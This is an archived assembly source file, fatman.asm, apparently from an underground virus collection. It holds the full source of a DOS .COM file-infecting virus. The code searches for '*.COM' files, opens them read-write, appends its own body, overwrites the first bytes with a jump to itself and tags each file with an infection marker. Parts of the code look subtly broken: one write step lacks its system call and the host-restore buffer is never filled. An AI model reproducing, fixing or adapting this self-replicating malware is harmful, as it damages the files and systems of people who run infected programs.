home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / f / fatman.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  2.6 KB  |  82 lines

  1. code    segment'code'
  2.  
  3. assume  cs:code, ds:code, ss:code, es:code
  4.  
  5. org     100h
  6.  
  7. dta             equ     endcode  + 10
  8.  
  9. fatmanid        equ     34
  10.  
  11. start:
  12.  
  13.  
  14.  
  15.         jmp     virus
  16.  
  17.         hoststart:
  18.  
  19.         db      90h,90h,90h             ;NOP
  20.  
  21.         db      0cdh,020h,1ah,1ah       ;INT 20
  22.  
  23.         hostend:
  24.  
  25.         virus:
  26.  
  27.         call $ + 2
  28.  
  29. fatman:
  30.  
  31.         pop     bp                         ;Search for next files
  32.  
  33.         sub     bp,offset fatman
  34.  
  35.         mov     ah,1ah
  36.  
  37.         lea     dx,[bp +dta]
  38.  
  39.         int     21h
  40.  
  41.         mov     ah,4eh
  42.  
  43.         lea     dx,[bp + filespec]
  44.  
  45.         xor     cx,cx
  46.  
  47. fileloop:
  48.  
  49.         int     21h
  50.  
  51.         jc      quit
  52.  
  53.         mov     ax,3d02h                   ;Open file read and write
  54.  
  55.         lea     dx,[bp + offset dta + 30]  ;Move the offset of filename
  56.  
  57.         int     21h                        ;into dx register
  58.  
  59.         jc      quit
  60.  
  61.         xchg    bx,ax
  62.  
  63.         mov     ah,3fh                     ;read from file
  64.  
  65.         mov     cx,4                       ;read 4 bytes off file
  66.  
  67.         lea     dx,[bp + orgjmp]           ;store the 4 bytes
  68.  
  69.         int     21h
  70.  
  71.         mov     ax,4202h                   ;point to end of file
  72.  
  73.         xor     cx,cx
  74.  
  75.         xor     dx,dx
  76.  
  77.         int     21h
  78.  
  79.         sub     ax,03h                     ;Back three bytes from org
  80.  
  81.         mov     [bp + newjmp + 2], ah      ;high location
  82.  
  83.         mov     [bp + newjmp + 1], al      ;low location
  84.  
  85.         mov     [bp + newjmp + 3], fatmanid;his ID
  86.  
  87.         mov     ah,0e9h                    ;JMP
  88.  
  89.         mov     [bp + newjmp],ah
  90.  
  91.         mov     ah,40h                    ;write to file
  92.  
  93.         mov     cx,endcode - virus
  94.  
  95.         lea     dx,[bp + virus]
  96.  
  97.         jc      quit
  98.  
  99.         mov     ax,4200h                  ;Moving to TOP of file
  100.  
  101.         xor     cx,cx
  102.  
  103.         xor     dx,dx
  104.  
  105.         int     21h
  106.  
  107.         mov     ah,40h                   ;writing 4 bytes to top of file
  108.  
  109.         mov     cx,4
  110.  
  111.         lea     dx,[bp + offset newjmp]
  112.  
  113.         int     21h
  114.  
  115.         mov     ah,1ah
  116.  
  117.         mov     dx,080h
  118.  
  119.         int     21h
  120.  
  121.         quit:
  122.  
  123.         lea     si,[bp + offset thisjmp]
  124.  
  125.         mov     di,0100h
  126.  
  127.         mov     cx,04h
  128.  
  129.         cld
  130.  
  131.         rep     movsb
  132.  
  133.         mov     di,0100h
  134.  
  135.         jmp     di
  136.  
  137.  
  138.  
  139.         
  140.  
  141.  
  142.  
  143.  
  144.  
  145.         filespec        db      '*.COM',0
  146.  
  147.         orgjmp          db      4 dup (?)
  148.  
  149.         newjmp          db      4 dup (?)
  150.  
  151.         thisjmp         db      4 dup (?)
  152.  
  153.         oldjmp          db      09h,0cdh,020h,90h
  154.  
  155.         endcode:
  156.  
  157.  
  158.  
  159.         code    ends
  160.  
  161.         end     start
  162.  
  163.